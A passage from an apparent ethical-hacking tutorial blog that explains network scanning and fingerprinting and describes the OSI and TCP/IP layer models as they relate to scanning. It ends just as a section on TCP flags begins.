target systems you want to gain access to.</p><div><hr></div><h2>What is Network Scanning?</h2><p>In ethical hacking, network scanning is the methodical process of sending specially crafted packets to a network and analyzing the responses. The goal is to identify live hosts, open ports, and services running on those hosts.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yA4R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yA4R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yA4R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:298316,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yA4R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!yA4R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38c6794f-dc04-48c0-89c4-2edafcd04b5a_1500x500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This phase builds directly on the footprinting and reconnaissance stage you completed earlier. These scans can be external (uncredentialed, from the internet) or internal (credentialed or uncredentialed), depending on the agreed objectives.</p><p>While reconnaissance maps out possible targets, scanning narrows in on the systems you&#8217;ve already discovered, looking for potential entry points in much greater detail.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wNfV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wNfV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 424w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 848w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 1272w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wNfV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png" width="1456" height="582" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:582,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:400106,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wNfV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 424w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 848w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 1272w, https://substackcdn.com/image/fetch/$s_!wNfV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2847947-8e34-4fe9-a912-d8b70635cdf0_1500x600.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Put simply:</strong></p><ul><li><p><strong>Reconnaissance</strong> = &#8220;Where might the doors be?&#8221;</p></li><li><p><strong>Scanning</strong> = &#8220;Which doors are unlocked, and what&#8217;s behind them?&#8221;</p></li></ul><p>By uncovering open ports and the services bound to them, you can begin identifying weaknesses that might later be exploited.</p><div><hr></div><h2>Fingerprinting the Target</h2><p>Once scanning confirms which hosts are alive and responsive, the next step is fingerprinting, gathering detailed, host-specific information such as:</p><ul><li><p>The operating system in use.</p></li><li><p>Services running and their versions.</p></li><li><p>IP Addresses.</p></li><li><p>Applications or frameworks installed.</p></li><li><p>Vulnerabilities of services, OS, and applications.</p></li></ul><p>Fingerprinting is different from earlier footprinting:</p><ul><li><p><strong>Footprinting</strong> paints a wide map of all potential targets.</p></li><li><p><strong>Fingerprinting</strong> zooms in on a single host to extract precise technical details that could reveal vulnerabilities.</p></li></ul><p>The information gathered here is the bridge between discovery and exploitation.To choose an effective exploit, or to confirm whether a vulnerability exists, you must know exactly what OS, service versions, and applications you&#8217;re dealing with. </p><p>Without this methodical approach, you risk missing exploitable weaknesses or wasting time chasing false leads.</p><div><hr></div><h1>Network Communication Basics</h1><p><strong>To understand network scanning, we need to know two key concepts:</strong> the OSI Model and the TCP/IP Model. Together, these models explain how data moves between devices during network communication.</p><p><strong>The OSI Model</strong> is a theoretical framework that divides network communication into seven layers, each with a specific role. It&#8217;s like a blueprint for understanding the process conceptually. </p><p><strong>The TCP/IP Model</strong> is a practical set of protocols used in real-world networks, like the internet, to enable communication. It&#8217;s directly implemented in devices and software. Knowing both clarifies what happens when we scan a network or its devices.</p><h2>The OSI Model</h2><p><strong>The OSI (Open Systems Interconnection) Model</strong> is a conceptual guide that organizes network communication into seven layers. It&#8217;s theoretical because it&#8217;s not built into software or hardware but serves as a universal way to analyze and design network systems. Each layer has a specific function:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gkA-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gkA-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gkA-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:860387,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gkA-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!gkA-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f2b51af-0491-4109-a408-a9a9ad2f6686_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ol start="7"><li><p><strong>Application Layer:</strong> Where user-facing software (e.g., browsers, email clients) interacts with the network using protocols like HTTP or SMTP. Scanning this layer identifies specific services or versions running on open ports, often to find vulnerabilities.</p></li></ol><ol start="6"><li><p><strong>Presentation Layer:</strong> Formats, encrypts, or compresses data for the receiving system. Example: HTTPS uses TLS to encrypt web traffic. Scans may detect encryption protocols (e.g., TLS version) to assess security.</p></li></ol><ol start="5"><li><p> <strong>Session Layer:</strong> Maintains ongoing communication sessions between devices. Example: a remote desktop session stays active for continuous interaction. While not directly scanned, this layer affects how long scanned connections persist.</p></li></ol><ol start="4"><li><p><strong>Transport Layer:</strong> Ensures data reaches the correct application, using TCP for reliable delivery or UDP for faster, less reliable transfer. Example: a web browser connects to port 443 for HTTPS. Port scanning tests which ports are open to reveal available services.</p></li></ol><ol start="3"><li><p><strong>Network Layer:</strong> Manages IP addresses and routes data between networks. Example: the &#8220;ping&#8221; command sends an ICMP echo request to check if a device is online. A &#8220;ping sweep&#8221; scans multiple IPs to discover active devices.</p></li></ol><ol start="2"><li><p><strong>Data Link Layer:</strong> Enables devices on the same local network to communicate using unique MAC addresses. Example: an ARP request (&#8220;Who has IP 192.168.1.10?&#8221;) maps an IP to a MAC address. Scanning here can identify all devices on a local network.</p></li></ol><ol><li><p><strong>Physical Layer:</strong> Handles the transmission of raw bits (0s and 1s) over physical media like Ethernet cables or Wi-Fi signals. Example: a router&#8217;s blinking lights indicate active data transfer. If this layer fails (e.g., unplugged cable), no scanning is possible since data can&#8217;t move.</p></li></ol><p>The OSI Model offers a theoretical lens for understanding network communication, while the TCP/IP Stack provides the practical protocols used in real-world networks.</p><h2>The TCP / IP Model</h2><p><strong>The TCP/IP Model</strong> is a framework that powers real-world network communication, like the internet. It has five layers and uses protocols built into devices and software to ensure data transfer. </p><p>It&#8217;s more practical than the OSI Model because it&#8217;s directly implemented in systems like operating systems and routers.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JdI0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JdI0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JdI0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:837902,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JdI0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!JdI0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a514f3d-2004-4df8-ae19-94ab147feafd_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ol start="5"><li><p><strong>Application</strong> - This layer allows applications like web browsers or email clients to communicate over the network. It uses protocols like HTTP for websites or SMTP for email to send and receive data.</p></li></ol><ol start="4"><li><p><strong>Transport</strong> - This layer manages how data is sent and received, ensuring reliability or speed based on the application&#8217;s needs. It uses TCP for guaranteed delivery (like file transfers) or UDP for faster, less reliable transmission (like video streaming).</p></li></ol><ol start="3"><li><p><strong>Network</strong> - The Network Layer handles addressing and routing data packets across different networks. It uses IP (Internet Protocol) to ensure data reaches the correct destination, like a postal service sorting mail.</p></li></ol><ol start="2"><li><p><strong>Data Link</strong> - This layer manages communication between devices on the same local network, like computers connected to a router. It uses protocols like Ethernet to package data into frames and detect errors during transmission.</p></li></ol><ol><li><p><strong>Physical</strong> - The Physical Layer deals with the hardware, like cables and Wi-Fi signals, that transmit raw data bits. It ensures electrical signals or radio waves carry the data between devices.</p></li></ol><p>The TCP/IP Model&#8217;s protocols (like TCP, IP, and HTTP) are used in actual networks, making it directly relevant to scanning.  </p><p>Understanding both models helps explain how data flows during network scans, from detecting active devices to identifying services.</p><div><hr></div><h2>The Role of TCP/IP Stack in Scanning</h2><p>Network scanning primarily involves the Application, Transport, and Network layers of the TCP/IP Model, though the Data Link layer can also be relevant in specific cases. Here&#8217;s how scanning relates to each layer:</p><ol start="5"><li><p><strong>Application Layer:</strong> Scanning targets services running on this layer, such as web servers (HTTP) or email servers (SMTP). Tools like vulnerability scanners probe open ports to identify specific applications or their versions, often to detect potential weaknesses.</p></li></ol><ol start="4"><li><p><strong>Transport Layer:</strong> Port scanning, a core part of network scanning, operates here. It checks for open ports using protocols like TCP (e.g., checking port 443 for HTTPS) or UDP to determine which services are available on a device.</p></li></ol><ol start="3"><li><p><strong>Network Layer:</strong> Scanning techniques like ping sweeps or traceroutes use IP and protocols like ICMP to discover active devices or map network paths. This layer helps identify which hosts are reachable on a network.</p></li></ol><ol start="2"><li><p><strong>Data Link Layer:</strong> In local network scanning, tools like ARP scans map IP addresses to MAC addresses to identify devices on the same network. This is less common but relevant for local network discovery.</p></li></ol><ol><li><p><strong>Physical Layer:</strong> Is NOT directly involved in scanning machines on a network, as it handles hardware-level data transmission (e.g., cables, Wi-Fi signals), which is assumed to be functional for scanning to occur.</p></li></ol><div><hr></div><h2>TCP Communication Flags</h2><p>TCP flags enable reliable, ordered data delivery across unreliable networks like the internet. They ensure data arrives intact, in order, and that both sides coordinate.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8F71!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8F71!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!8F71!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!8F71!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!8F71!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F180ed0b9-0b82-4390-9c2c-3936956d6ecd_1500x1500.png 1456w" sizes="100vw"><img 